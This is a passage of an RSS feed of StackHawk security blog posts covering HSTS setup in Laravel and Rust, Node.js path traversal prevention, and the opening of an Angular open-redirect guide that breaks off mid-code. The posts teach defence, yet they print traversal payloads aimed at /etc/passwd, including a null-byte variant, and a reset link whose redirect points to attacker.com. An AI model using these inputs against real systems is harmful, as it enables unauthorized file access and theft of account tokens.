this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;After this setup, you can enable HSTS by editing the &lt;b&gt;&amp;#39;hsts&amp;#39;&lt;/b&gt; configuration block in &lt;b&gt;config/secure-headers.php&lt;/b&gt;. Set &lt;b&gt;&amp;#39;enable&amp;#39;&lt;/b&gt; to true and the other parameters (&lt;b&gt;max-age&lt;/b&gt;, &lt;b&gt;include-sub-domains&lt;/b&gt;, and &lt;b&gt;preload)&lt;/b&gt; to the desired settings. You&amp;#39;re done and have enabled HSTS for your website!&lt;/p&gt;&lt;h2&gt;Other Security Headers&lt;/h2&gt;&lt;p&gt;If you scroll down &lt;b&gt;config/secure-headers.php&lt;/b&gt;, you can see a &lt;b&gt;&amp;#39;csp&amp;#39;&lt;/b&gt; configuration block. If you&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-content-security-policy-guide-what-it-is-and-how-to-enable-it/&quot;&gt; &lt;u&gt;configured a Content Security Policy (CSP) through another library as shown in a previous article on this blog&lt;/u&gt;&lt;/a&gt;, make sure to set &lt;b&gt;&amp;#39;enable&amp;#39;&lt;/b&gt; to &lt;b&gt;false&lt;/b&gt; here to avoid duplicate configuration. Otherwise, this is an excellent opportunity to enable CSP and HSTS with a single library.&lt;/p&gt;&lt;p&gt;The library comes with a few additional preconfigured headers. For example, &lt;b&gt;X-Content-Type-Options&lt;/b&gt; prevents browsers from executing scripts or styles if they don&amp;#39;t have the correct &lt;b&gt;Content-Type&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;X-Frame-Options&lt;/b&gt; prevents other websites from loading yours in an iframe. Unless your Laravel website explicitly offers embeddable content, this is a good policy.&lt;/p&gt;&lt;p&gt;Permission policies describe the browser features that the website wants to use. Disabling features helps with XSS attacks, where an attacker uses browser features that the website doesn&amp;#39;t need, similar to content security policies.&lt;/p&gt;&lt;p&gt;I won&amp;#39;t discuss all options here, but the comments in the file include helpful links to read about other security headers.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;What&amp;#39;s Next?&lt;/h2&gt;&lt;p&gt;Once you&amp;#39;ve configured HSTS with the preload option, you can request the inclusion of your website in the preload lists. Go to the&lt;a href=&quot;https://hstspreload.org/&quot;&gt; &lt;u&gt;HSTS Preload website&lt;/u&gt;&lt;/a&gt; to learn more about the prerequisites for it and submit your domain. In any case, by configuring HSTS, you&amp;#39;ve already improved your website security.&lt;/p&gt;&lt;p&gt;We&amp;#39;ve mentioned XSS attacks in this article, but make sure to check out our articles about&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-csrf-protection-guide/&quot;&gt; &lt;u&gt;cross-site request forgery (CSRF)&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-path-traversal-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;path traversal attacks&lt;/u&gt;&lt;/a&gt;, as these are other security issues you should prevent in your Laravel website.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Lukas Rosenstock. &lt;/i&gt;&lt;a href=&quot;https://lukasrosenstock.net/&quot;&gt;&lt;u&gt;&lt;i&gt;Lukas&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an independent PHP and web developer turned API consultant and technical writer. He works with clients of all sizes to design, implement, and document great APIs. His focus is on creating integrations and mashups that highlight the values of APIs, and educate developers about their potential.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;It&amp;#39;s common knowledge that HTTPS URLs are safer than plain HTTP. The &amp;quot;S&amp;quot; confirms some transport layer security TLS, which protects your network from middleman attacks among other threats. Implementing Rust HTTP Strict Transport Security (HSTS) is a step you should keep at the back of your mind as you develop with Rust-Lang.&lt;/p&gt;&lt;p&gt;This post explores just what it means when, for instance, you conduct a health scan of your Rust web application and get a &amp;quot;HSTS headers missing&amp;quot; report. We&amp;#39;ll cover why you need to have the headers in place, how they work, and how best to implement HSTS across Rust and its frameworks.&lt;/p&gt;&lt;h2&gt;Why You Need Rust HSTS&lt;/h2&gt;&lt;p&gt;When you have Rust HTTP strict transport security in place, your web application redirects to HTTPS even when a user types HTTP:// in the navigation bar. Assuming your certificates and other security measures are watertight, this imbues the user experience with a significant level of security.&lt;/p&gt;&lt;p&gt;Now, there&amp;#39;s only so much that browsing with the HTTPS version of your site can benefit you and your users. However, without it, hackers can do as they please with your applications. Let&amp;#39;s explore some harms that HSTS protects your users and the application itself from.&lt;/p&gt;&lt;h3&gt;What HSTS Protects You From&lt;/h3&gt;&lt;p&gt;Among the space of vulnerabilities, you can avoid the following by having valid (properly implemented) HSTS headers.&lt;/p&gt;&lt;h4&gt;Loading Unsafe Versions of Your Website&lt;/h4&gt;&lt;p&gt;It&amp;#39;s not new that some cPanel options lead to developers accepting both HTTP and HTTPS loading of their web applications. While it may seem convenient because now everyone that knows your domain can access your application, it&amp;#39;s actually a security flaw.&lt;/p&gt;&lt;p&gt;Loading the HTTP version of your website means even the resources passed from other sources don&amp;#39;t need any certificates. This leaves your application open to a wide range of other threats.&lt;/p&gt;&lt;h4&gt;Man-in-the-Middle Attacks&lt;/h4&gt;&lt;p&gt;Notice how we stressed proper implementation of HSTS headers? When you rely on manually imposed redirects (HTTP 301) instead of the HSTS header method, hackers can send visitors to your application to their own versions of your website. Then, there won&amp;#39;t be restrictions on what they can do with the information they steal from your patrons.&lt;/p&gt;&lt;h4&gt;Future Bugs&lt;/h4&gt;&lt;p&gt;When you neglect to impose Rust HTTP strict transport security, your application&amp;#39;s integrity weakens with multiple bugs. This deteriorates user experience and hints to hackers just where your application is weak when they open the console. Even when your code is perfect, not having a good redirect policy can become the weak spot in your otherwise perfect application.&lt;/p&gt;&lt;h3&gt;Rust HSTS Won&amp;#39;t Protect You From The Following Threats&lt;/h3&gt;&lt;p&gt;Tempting as it is to relax once you have your Rust HTTP strict transport security in place, you&amp;#39;re far from being safe. The header is porous to the following vulnerabilities:&lt;/p&gt;&lt;h4&gt;Phishing&lt;/h4&gt;&lt;p&gt;When hackers make an app to appear as if they&amp;#39;re you, the browser won&amp;#39;t distinguish between the two. HSTS headers, however, assist within your version of the application with restrictions that make it easy for users to detect clones. This is why banks and other reputable organizations continuously educate their visitors about the dangers of phishing.&lt;/p&gt;&lt;h4&gt;Breaches Due to Defective Code&lt;/h4&gt;&lt;p&gt;No matter how much you restrict users within the HTTPS fence, if your code has vulnerabilities that hackers can leverage, chances are they will.&lt;/p&gt;&lt;p&gt;In reality, the HSTS headers are best taken as extra coverage of some loopholes—not the fix-all security solution for Rust applications (or any other programming language). Having the headers will reinforce your security strategy.&lt;/p&gt;&lt;h2&gt;Rust HSTS in Action&lt;/h2&gt;&lt;p&gt;Now that you know what Rust HTTP strict transport security means and what it can accomplish, let&amp;#39;s explore how best to implement it. Because a lot of web applications now rely on CDN platforms for better reach, as with&lt;a href=&quot;https://developers.cloudflare.com/ssl/edge-certificates/additional-options/http-strict-transport-security&quot;&gt;&lt;u&gt; CloudFlare, turning HSTS&lt;/u&gt;&lt;/a&gt; on and off can be a matter of toggling an option.&lt;/p&gt;&lt;p&gt;The same holds for hosting platforms like Heroku and any cPanel-managed Rust applications. While these options save you from the complexity of manually adding the headers to your application, always make sure HSTS headers are active. For this, you either check the source of your application in production (backend), or simply run a&lt;a href=&quot;https://observatory.mozilla.org/analyze/www.rust-lang.org&quot;&gt; &lt;u&gt;Mozilla Observatory check&lt;/u&gt;&lt;/a&gt; on your domain.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Typical results from an observatory scan.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This report shows that they (&lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;&lt;u&gt;rust-lang&lt;/u&gt;&lt;/a&gt;) set the HSTS header to a maximum of six months. However, it&amp;#39;s possible, and recommended, to set a longer time—even two years. For the header to take effect, a browser will need to have accessed your application and recorded the HSTS header at least once. This way, every other visit for the coming two years will redirect to HTTPS. This works even when the user has an HTTP version in their bookmarks.&lt;/p&gt;&lt;p&gt;Consider the header below, which shows an implementation of an &amp;quot;always set&amp;quot; HSTS header with a maximum age of one year (in seconds).&lt;/p&gt;&lt;p&gt;&lt;code&gt;Header always set Strict-Transport-Security &amp;quot;max-age=31536000;
includeSubDomains; preload&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &amp;quot;include subdomains&amp;quot; directive covers the entire domain tree—that is, its branching environments at the end of subdomains. If you create a new domain after setting this header, it too will be safe.&lt;/p&gt;&lt;p&gt;The &amp;quot;preload&amp;quot; directive gives consent to the browser to cache and permanently deem your domain and application pair a strict HSTS instance. This makes it possible for unknown visitors to load the HTTPS version of your application immediately, with no prior rendering requirements.&lt;/p&gt;&lt;h2&gt;Applying Rust HSTS Through Cargos&lt;/h2&gt;&lt;p&gt;When it comes to applying Rust HTTP strict transport security in applications built on top of frameworks (such as&lt;a href=&quot;https://rocket.rs/&quot;&gt; &lt;u&gt;Rocket.rs&lt;/u&gt;&lt;/a&gt;), you have two options. The first is to create your own headers and call them where they&amp;#39;re needed. Alternatively, you could leverage implementations in cargos with tests and documentation at your disposal.&lt;/p&gt;&lt;p&gt;A common solution to the HSTS conundrum is the&lt;a href=&quot;https://docs.rs/armor/1.2.0/armor/fn.hsts.html&quot;&gt; &lt;u&gt;Armor crate&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;code&gt;let mut headers = http::HeaderMap::new();
armor::hsts(&amp;amp;mut headers);
assert_eq!(headers[&amp;quot;Strict-Transport-Security&amp;quot;], &amp;quot;max-age=time&amp;quot;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Replacing &amp;quot;time&amp;quot; with your duration should extend the validity of your implementation. The code above restricts users to a strict HTTPS usage. However, it can&amp;#39;t guarantee that users can open an incognito browser to run a strictly HTTP session. For this reason, you should have a server-side implementation always on the guard.&lt;/p&gt;&lt;p&gt;To offset the HTTP loophole left open with some cargos, you&amp;#39;re best implementing the single-line header within your main file. Just as follows:&lt;/p&gt;&lt;p&gt;&lt;code&gt;use rocket::fairing::{Fairing, Info, Kind};
use rocket::http::{ContentType, Header};
use rocket::{Request, Response};&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;static HEADERS: &amp;amp;[(&amp;amp;str, &amp;amp;str)] = &amp;amp;[
    (&amp;quot;x-xss-protection&amp;quot;, &amp;quot;1; mode=block&amp;quot;),
    (&amp;quot;strict-transport-security&amp;quot;, &amp;quot;max-age=63072000&amp;quot;),
    (&amp;quot;x-content-type-options&amp;quot;, &amp;quot;nosniff&amp;quot;),
    (
        &amp;quot;referrer-policy&amp;quot;,
        &amp;quot;no-referrer, strict-origin-when-cross-origin&amp;quot;,
    ),
];&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This way, your application can&amp;#39;t run on HTTP even when someone tries to bypass your implementation through sneaky means.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion: Rust HSTS Best Practices&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;It&amp;#39;s possible to build a Rust application with no frameworks guiding or imposing methods on your process. However, for this you&amp;#39;d need to pay closer attention to your headers and where they apply.&lt;/p&gt;&lt;p&gt;The good thing about the HSTS header is that it&amp;#39;s a low-maintenance variable. Once you declare the time duration and any subdomain support, along with the preload option, you can rest assured that it gets read each time your application loads.&lt;/p&gt;&lt;p&gt;A best practice is having tests run whenever you&amp;#39;re deploying your applications into production.&lt;a href=&quot;https://stackhawk.com/product&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; can help with that. This way, no live applications expose users to the threats that hackers are ready and eagerly waiting to inflict on your Rust applications.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Node.js Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/node-js-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Building secure, robust applications is a craft that requires a lot of consideration and effort. Making sure to cover the extensive list of potential vulnerabilities can be an enormous task that demands experience and guidance. One such vulnerability is the directory access security of our system, which is commonly exploited by path traversal attacks. &lt;/p&gt;&lt;p&gt;Understanding that, however, should not deter you from approaching the problem head-on. After all, extensive and very comprehensive resources that can guide you exist all over the net. This article is intended to be one such resource. &lt;/p&gt;&lt;p&gt;The purpose of this article is to serve as a guide to understanding path traversal attacks and what approaches we can take to mitigate them with Node.js. First, we will briefly explain what path traversal attacks are. Then we will explore some common examples. And finally, we will implement fixes for these exploits. By the end of this article, you should have a basic understanding of path traversal and be capable of implementing mitigation mechanisms in your platform. &lt;/p&gt;&lt;p&gt;Note that we intend for this article to be for Node.js developers specifically. Therefore, we expect that you have a basic understanding of the Node.js development stack. So, if you haven&amp;#39;t dipped your toes in it yet, please check out the &lt;a href=&quot;https://nodejs.org/en/docs/guides/&quot;&gt;&lt;u&gt;Node.js guides&lt;/u&gt;&lt;/a&gt; for more information. &lt;/p&gt;&lt;h2&gt;Talking Path Traversal&lt;/h2&gt;&lt;p&gt;What is a path traversal attack? Well, it&amp;#39;s an attack that takes advantage of poor access control implementations on the server side, specifically for file access. In these attacks, a bad actor attempts to access restricted files in the server by injecting invalid or malicious user input into the application. Think of it as SQL injection but on directories instead of the database. &lt;/p&gt;&lt;p&gt;Now, it&amp;#39;s pretty apparent why unauthorized access to server files is terrible. With this kind of power, an ill-intended individual can wreak havoc in our systems and compromise our user&amp;#39;s information. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s dive much deeper into the simple quirks that make this vulnerability possible and why it even matters what system your server is running in. Now, let&amp;#39;s explore a few examples of path traversal attacks. &lt;/p&gt;&lt;h2&gt;Examples of Path Traversal Attacks&lt;/h2&gt;&lt;p&gt;What does a typical path traversal attack look like, you might ask? &lt;/p&gt;&lt;p&gt;Well, it&amp;#39;s as simple as this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;../../etc/passwd&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Surprising, right? &lt;/p&gt;&lt;p&gt;The core idea of path traversal is basically to find ways to get to folders that the developer and application did not intend for you to be able to get to. So, if you have a basic understanding of path logic and Linux or the command line, you can really go places on an unprotected application. &lt;/p&gt;&lt;p&gt;Here are some examples of what these can look like. &lt;/p&gt;&lt;h3&gt;Relative Path Attack&lt;/h3&gt;&lt;p&gt;A relative path attack is essentially what we illustrated above. By exploiting the user input validation, or lack thereof, attackers might attempt to access restricted files in the server. In this case, the &lt;b&gt;passwd&lt;/b&gt; file contains our secrets on the server. &lt;/p&gt;&lt;p&gt;A simple way to mitigate this vulnerability is, of course, to apply proper user input validation. By doing something as simple as using &lt;b&gt;path.normalize()&lt;/b&gt; and sanitizing the user input—something you should always do, by the way—you can save yourself from a lot of headaches and issues down the road. &lt;/p&gt;&lt;h3&gt;Poison Null Bytes Attack&lt;/h3&gt;&lt;p&gt;By adding a NULL byte, &lt;b&gt;\0&lt;/b&gt;, at the end of a string in an HTTP request, the attacker can bypass the string validation used to sanitize user input and get access to unauthorized files and directories. &lt;/p&gt;&lt;p&gt;What would that look like? Something like this. &lt;/p&gt;&lt;p&gt;&lt;code&gt;/../../../../../../../../../../../../../../../../etc/passwd%00&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice the &lt;b&gt;%00&lt;/b&gt; at the end, which our poor validation would end up translating as something like&lt;b&gt; \0.txt\0&lt;/b&gt; and potentially give access to the &lt;b&gt;passwd&lt;/b&gt; file. Yikes! &lt;/p&gt;&lt;p&gt;To prevent this kind of attack from thwarting security, you only need to validate the user input with the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;if (user_input.indexOf(&amp;#39;\0&amp;#39;) !== -1) {
  return respond(&amp;#39;Access denied&amp;#39;);
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Relatively straightforward, right? &lt;/p&gt;&lt;p&gt;Path traversal attacks are not particularly sophisticated. As we mentioned before, they depend on poor access control implementations or edge-case vulnerabilities from poorly updated code. However, they can be very dangerous, and we should mitigate them as much as possible. The good news is that it&amp;#39;s not that hard to do so. &lt;/p&gt;&lt;h2&gt;Other Mitigating Approaches to Path Traversal Attacks in Node.js&lt;/h2&gt;&lt;p&gt;There are, of course, many more things we can do to cover more potential gaps in our security. JavaScript has matured enough to offer extensive documentation on different approaches to mitigation, but we will be listing a few here. &lt;/p&gt;&lt;h3&gt;Path Prefix Validation&lt;/h3&gt;&lt;p&gt;What about allowing some level of traversal in your application? There might be cases where you want the application to enable the user to find files in different folders—for example, profile pictures and essays, both in their folders. You can implement hardcoded path validations like variables used when requesting specific resources, but by doing so, you could open yourself up to prefix path traversal attacks. &lt;/p&gt;&lt;p&gt;An attacker can freely traverse the directories if the user can enter dots and slashes in the application without validating the resulting string.  To mitigate this, we need to validate that the user input does not contain these characters and strip them, or flat-out display an error. &lt;/p&gt;&lt;h3&gt;Allowlisting&lt;/h3&gt;&lt;p&gt;Allowlisting is a straightforward and relatively effective method to reduce the potential for exploits. Of course, you won&amp;#39;t always be able to use it, but you should when you can. &lt;/p&gt;&lt;p&gt;A straightforward example of this consists of validating that the user input conforms to a certain predefined standard. For example, if you have coded your application only to create and work with files with lowercase alphanumeric characters, then you can validate that the user only inputs such characters. &lt;/p&gt;&lt;p&gt;&lt;code&gt;if (!/^[a-z0-9]+$/.test(user_input)) {
  return respond(&amp;#39;Access denied&amp;#39;);
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;By adding this validation to user inputs, you can have an extra layer of protection against malicious attacks. &lt;/p&gt;&lt;h3&gt;Path Concatenation&lt;/h3&gt;&lt;p&gt;Finally, one way to address all these gaps and create a robust solution to all the potential vulnerabilities we might face is to implement a general validation scheme that comprises all these tests and makes a secure final path string. &lt;/p&gt;&lt;p&gt;One example of a solution would look something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;var root = &amp;#39;/var/www/&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;exports.validatePath = (user_input) =&amp;gt; {
  if (user_input.indexOf(&amp;#39;\0&amp;#39;) !== -1) {
    return &amp;#39;Access denied&amp;#39;;
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  if (!/^[a-z0-9]+$/.test(user_input)) {
    return &amp;#39;Access denied&amp;#39;;
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  var path = require(&amp;#39;path&amp;#39;);
  var safe_input = path.normalize(user_input).replace(/^(\.\.(\/|\\|$))+/, &amp;#39;&amp;#39;);
  var path_string = path.join(root, safe_input);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  if (path_string.indexOf(root) !== 0) {
    return &amp;#39;Access denied&amp;#39;;
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  return path_string;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Lines of code in an integrated development environment.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As you can see, we have incorporated all the checks and validations already discussed to encompass any potential abuse of our system. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;As JavaScript is such a mature and robust language, there are myriad ways to go around this. None of them is really the best. Just make sure that you find something that satisfies your needs and then adequately test your approach and implementation. &lt;/p&gt;&lt;p&gt;As simple as it might seem, it is essential to make sure that we enforce good path traversal security policies. We must also work on covering as many potential gaps in our application as possible. Technology will, of course, continue to evolve, and more robust and comprehensive solutions will become available to mitigate these issues. However, don&amp;#39;t forget that humans can always cover for the gaps in our systems, as long as we are thorough and creative with our approaches. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;i&gt;Open redirect in Angular.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;I&amp;#39;m sure at some point you&amp;#39;ve been redirected from one site to another. Website redirections are quite commonly used today for a variety of purposes. But when was the last time you paid attention to &lt;i&gt;what&lt;/i&gt; site you&amp;#39;re being redirected to? &lt;/p&gt;&lt;p&gt;If done right, redirection is as harmless as it sounds. However, in some cases, &lt;a href=&quot;https://www.forbes.com/sites/kateoflahertyuk/2021/01/24/google-security-heres-how-stealthy-attackers-could-steal-your-details/?sh=7565b880228e&quot;&gt;&lt;u&gt;it can become alarming for you and your users&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll talk about open redirects—what they are and what impact they can have. I&amp;#39;ll also walk you through how you can detect and fix open redirects in your Angular application.&lt;/p&gt;&lt;h2&gt;Are Redirects a Sign of Problems?&lt;/h2&gt;&lt;p&gt;When you&amp;#39;re signing up on a website through your Google or Facebook account, the site may redirect you to another page first. Then it processes your authentication and redirects you to the actual website. Online retailers often use this pattern when you make online payments. For instance, if you&amp;#39;re booking flights or hotels for your trip, the website usually redirects you to a different website for making payments. &lt;/p&gt;&lt;p&gt;Thus, redirects are in a number of use cases. However, when a website allows &lt;i&gt;other&lt;/i&gt; users to modify these redirects on their pages, a redirect becomes a vulnerability—an &lt;a href=&quot;https://whatis.techtarget.com/definition/open-redirect&quot;&gt;&lt;u&gt;open redirect vulnerability&lt;/u&gt;&lt;/a&gt;. But how does this happen, and what are its impacts on your site and users? &lt;/p&gt;&lt;h2&gt;Open Redirect Explained&lt;/h2&gt;&lt;p&gt;To give you a better idea of what open redirect is, let&amp;#39;s take the simple example of password resets. &lt;/p&gt;&lt;h3&gt;Redirection in Password Reset Links&lt;/h3&gt;&lt;p&gt;If you&amp;#39;ve forgotten your password on a website, you request a form for setting a new password. The website then generally sends you a password reset link to your email. You click this link and land on a password reset form. You enter your new password, press the Submit button, and voilà! Your password is now reset. You&amp;#39;re then safely redirected to the homepage. &lt;/p&gt;&lt;p&gt;Visually, here&amp;#39;s what the process looks like: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Password reset process.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Notice in step 2, you receive a password reset link. Let&amp;#39;s look at an example of a password reset link:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Anatomy of a reset password link.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The above link, &lt;b&gt;/resetPassword?token=123&amp;amp;next=home&lt;/b&gt;, contains a route to the page of the website—that is, &lt;b&gt;/resetPassword&lt;/b&gt; shown above. It contains some query parameters. The first query parameter is the authentication token. It&amp;#39;s sent in the reset password request the site will make to its server. The second parameter is &lt;b&gt;next&lt;/b&gt;. It contains a redirect URL. &lt;/p&gt;&lt;h3&gt;The Catch&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s focus on the final step a little. Most websites navigate you somewhere after you&amp;#39;ve reset your password. Some websites even redirect you to the login page. They tend to do this to enhance your user experience. In the above example, the website intends to navigate to the home page after you&amp;#39;ve reset your password. &lt;/p&gt;&lt;p&gt;However, how your website handles this redirection answers the question of whether it&amp;#39;s a vulnerability. To reiterate, what if I could simply change the &lt;b&gt;next&lt;/b&gt; parameter in the URL to something else?&lt;/p&gt;&lt;p&gt;&lt;i&gt;Changing the redirect URL.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;In the above example, an attacker changes the &lt;b&gt;next&lt;/b&gt; property, so the revision is &lt;b&gt;/resetPassword?token+123&amp;amp;next=attacker.com&lt;/b&gt;. If the website now after submitting the form redirects to &lt;b&gt;attacker.com&lt;/b&gt;, you&amp;#39;re in trouble! The attacker could get your authentication token in the headers of the request. Furthermore, she could potentially take control of your account on the site! Redirection doesn&amp;#39;t seem that harmless now, does it?&lt;/p&gt;&lt;p&gt;&lt;i&gt;Open redirect.&lt;/i&gt;&lt;/p&gt;&lt;h2&gt;Open Redirect in Angular&lt;/h2&gt;&lt;p&gt;In light of the previous example, let&amp;#39;s see how you can detect and fix open redirects in your Angular application. That way you can see open redirect in action. Let&amp;#39;s jump straight into it. &lt;/p&gt;&lt;h3&gt;Setup&lt;/h3&gt;&lt;p&gt;First, create a fresh Angular app by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng new angular-open-redirect --routing&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;--routing&lt;/b&gt; flag configures some initial routing in the app for you. You need this set up so you can add and read query parameters from your URLs. Once you&amp;#39;re done with the above command, you need to create two components. Let&amp;#39;s create the first component, the Home Component, using the Angular command-line interface: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng g c Home&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, create the Reset Password component: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng g c ResetPassword&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now that you have your two components up, let&amp;#39;s create routes for each of them. Inside your &lt;b&gt;app-routing.module.ts&lt;/b&gt;, add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;To add the router in your component, go to your &lt;b&gt;app.component.ts&lt;/b&gt; file, and render the Router component: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;router-outlet&amp;gt;&amp;lt;/router-outlet&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Your setup is done! Let&amp;#39;s kick-start the Angular app by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;ng server&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you now visit &lt;b&gt;http://localhost:4200/home&lt;/b&gt;, you should see the Home component. And as a result, if you visit &lt;b&gt;http://localhost:4200/resetPassword&lt;/b&gt;, you should see the Reset Password component: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Reset Password component route.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Awesome! Let&amp;#39;s fill in these pages with some templates. &lt;/p&gt;&lt;h3&gt;Add Page Templates&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s add some HTML to your Home page. Inside your &lt;b&gt;home.component.html&lt;/b&gt; file, add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, let&amp;#39;s create a simple Password Reset form user interface inside your Reset Password component. Head over to the &lt;b&gt;reset-password.component.html&lt;/b&gt; file, and add the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Lastly, let&amp;#39;s also add the following styles inside the &lt;b&gt;styles.css&lt;/b&gt;: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Great! Your Home page should now look like this:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Home page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Similarly, your Reset Password page should look like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Reset Password page.&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;Add Template Logic&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s add some logic to your Reset Password page. &lt;/p&gt;&lt;p&gt;First, I want the two input fields to bind to some variable in your component. This way, you can keep track of what the user is typing. Then, you&amp;#39;ll use &lt;b&gt;ngModel&lt;/b&gt; to have two-way data binding in your template. For this, you first need to import the &lt;b&gt;FormsModule&lt;/b&gt; inside your &lt;b&gt;app.module.ts&lt;/b&gt; file: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import { FormsModule } from 